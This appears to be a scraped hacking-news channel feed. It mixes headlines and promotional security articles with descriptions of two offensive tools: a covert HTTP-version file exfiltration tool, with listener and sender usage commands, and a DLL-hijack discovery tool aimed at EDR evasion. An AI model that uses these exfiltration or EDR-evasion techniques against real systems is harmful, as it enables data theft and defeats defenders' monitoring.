hacking: security in practice
A cyberattack paralyzed every gas station in Iran

https://external-preview.redd.it/7Z_K12rR3Sq0KZFWcPwkXAghnDl6iEZ7anXN1Gm5Pk0.jpg?width=640&crop=smart&auto=webp&s=6e3bf02fbc59de404e205e46302824088e84b275 submitted by /u/eis3nheim
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox | Vaccine

https://cdn-images-1.medium.com/max/1280/0*g6XeDE6S9oeiv_Fr.jpg
If you think October is only the spooky month, well you’re wrong! October is also known as Cyber Security Month!.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Http-Protocol-Exfil - Exfiltrate Files Using The HTTP Protocol Version ("HTTP/1.0" Is A 0 And "HTTP/1.1" Is A 1)
http://www.kitploit.com/2021/10/http-protocol-exfil-exfiltrate-files.html

___________________________
@hacking_Attack
@Hacking_Video

Use the HTTP protocol version to send a file bit by bit ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1). It uses GET requests so the Blue Team (https://www.kitploit.com/search/label/Blue%20Team) would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).
Create listener
To run the listener (https://www.kitploit.com/search/label/Listener) use listener.py with one optional argument: the port it will be listening in.python3 listener.py [PORT]
Example:python3 listener.py 8080

Send a file
To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Example:python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Example
First the file is sent:

___________________________
@hacking_Attack
@Hacking_Video

If the variable debug is set to True (it is by default) you can see the binary (https://www.kitploit.com/search/label/Binary) values in the listener log messages:

___________________________
@hacking_Attack
@Hacking_Video

The new file is created with the content of the input file:

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Http-Protocol-Exfil - Exfiltrate Files Using The HTTP Protocol Version ("HTTP/1.0" Is A 0 And "HTTP/1.1" Is A 1)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Finding the Right Approach to Cloud Security Posture Management (CSPM)

Cloud security is maturing — it has to. New strategies are surfacing to respond to new problems. Dr. Mike Lloyd, RedSeal's CTO, reviews one of the latest: CSPM.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Rethink Network Access with Perimeter 81: a ZTNA Leader

Perimeter 81, a Secure Access Service Edge (SASE) platform, was named an industry leader in the Zero Trust Network Access (ZTNA) category of the Q3 2021 Forrester New Wavehttps://s.w.org/images/core/emoji/13.1.0/72x72/2122.png report. The platform earned the highest scores possible in the non-web and legacy apps, client support, product vision, and planned enhancements criteria.

The Perimeter 81 platform is distinguished among those of other ZTNA service vendors for its streamlined onboarding, excellent 24/7 customer support, and dedication to making rapid improvements to the platform.

Perimeter 81 is committed to enabling companies of all sizes, across all industries, to finally break free from fragmented, legacy hardware-based network access solutions and securely empower their cloud-based, “work from anywhere” organizations.

What Is Zero Trust Network Access and Why Does It Matter?

With Perimeter 81 named a ZTNA leader, you might be wondering how you can use such a platform to improve your business’s network security and cybersecurity. So, let’s take a closer look at what exactly ZTNA is and why companies should be using platforms like Perimeter 81 to implement it. ZTNA: an alternative to VPNsBoth VPNs and Zero Trust Network Access platforms hide the IP addresses of users and provide secure, anonymous access to online business networks from anywhere in the world. However, some cybersecurity experts have pointed out that many VPN service providers have been slow to adapt and evolve in an increasingly cloud-based digital market.

ZTNA vendors, on the other hand, provide fully cloud-based network access with more flexibility and more centralized network access control options. It’s important to note that Zero Trust Network Access is not a term that refers to one specific type of product but rather to a concept or a particular set of capabilities that various ZTNA products provide. ZTNA vs. VPN securityAs we already mentioned, both ZTNA platforms and VPNs serve similar purposes. But, VPNs provide users with access to a full LAN network, whereas ZTNA services only provide users with access to very specific apps and services for which system administrators grant them access. This makes corporations who use ZTNA over VPNs for network security less prone to lateral cyber attacks by reducing the potential attack surface.

In short, Zero Trust Network Access technologies take a user-to-app approach to network security rather than a user-to-network approach. This reduces cybersecurity risks to corporate networks from individual, unsecured devices, which can only connect to specific applications instead of the whole network. What is Perimeter 81?Since its founding in 2018, Perimeter 81 has been a leading company in the Secure Access Service Edge and Zero Trust Network Access industries. Its standing as a ZTNA leader is recognized by Forrester’s 2021 Q3 New Wavehttps://s.w.org/images/core/emoji/13.1.0/72x72/2122.png report. Additionally, Perimeter 81 has been recognized for various other awards, including for Deloitte’s Technology Fast 500, Gartner’s Cool Vendor, Red Herring’s Top 100, and CRN’s Emerging Vendor awards, among others.

Perimeter 81’s ZTNA services are helping thousands of businesses of all sizes and across all industries achieve higher levels of cyber and network security more efficiently and cost-effectively. The platform does so by providing full cloud-based secure access solutions, allowing enterprises to ditch their ancient network architectures and hardware-based security tools.

Regarding their recent recognition by Forrester’s New Wavehttps://s.w.org/images/core/emoji/13.1.0/72x72/2122.png report, Perimeter 81 CEO Amit Bareket said, “We are thrilled that Forrester has named Pe[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
ImpulsiveDLLHijack : C# Based Tool Which Automates The Process Of Discovering And Exploiting DLL Hijacks In Target Binaries

ImpulsiveDLLHijack is a C# based tool which automates the process of discovering and exploiting DLL Hijacks in target binaries. The Hijacked paths discovered can later be weaponized during RedTeam Operations to evade EDR’s.

Methodological Approach

The tool basically acts on automating following stages performed for DLL Hijacking:

* Discovery – Finding Potentially Vulnerable DLL Hijack paths
* Exploitation – Confirming whether the Confirmatory DLL was been loaded from the Hijacked path leading to a confirmation of 100% exploitable DLL Hijack!

Discovery Methodology

* Provide Target binary path to ImpulsiveDLLHijack.exe
* Automation of ProcMon along with the execution of Target binary to find Potentially Vulnerable DLL Hijackable paths.

Exploitation Methodology

* Parse Potentially Vulnerable DLL Hijack paths from CSV generated automatically via ProcMon.
* Copy the Confirmatory DLL (as per the PE architecture) to the hijack paths one by one and execute the Target Binary for predefined time period simultaneously.
* As the DLL hijacking process is in progress following are the outputs which can be gathered from the Hijack Scenario:
* The Confirmatory DLL present on the potentially vulnerable Hijackable Path is loaded by the Target Binary we get following output on the console stating that the DLL Hijack was successful – DLL Hijack Successful -> DLLName: | DLL Hijack Successful -> [Entry Point Not Found – Manual Analysis Required!]: DLL Hijack Successful -> [Entry Point Not Found]: DLL Hijack Successful (if the Hijack was successful)
* DLL Hijack Unuccessful (if the Hijack was unsuccessful)
* DLL Hijack Successful [Entry Point Not Found – Manual Analysis Required] (if the Entry point was not found but can be successful after manual analysis)
* DLL Hijack Successful [Entry Point Not Found] (if the hijack was successful even after the entry point was not found)
* Copy: Access to Path is Denied (Access denied)
**These Confirmed DLL Hijackable paths can later be weaponized during a Red Team Engagement to load a Malicious DLL Implant via a legitimate executable (such as OneDrive,Firefox,MSEdge,”Bring your[...]

___________________________
@hacking_Attack
@Hacking_Video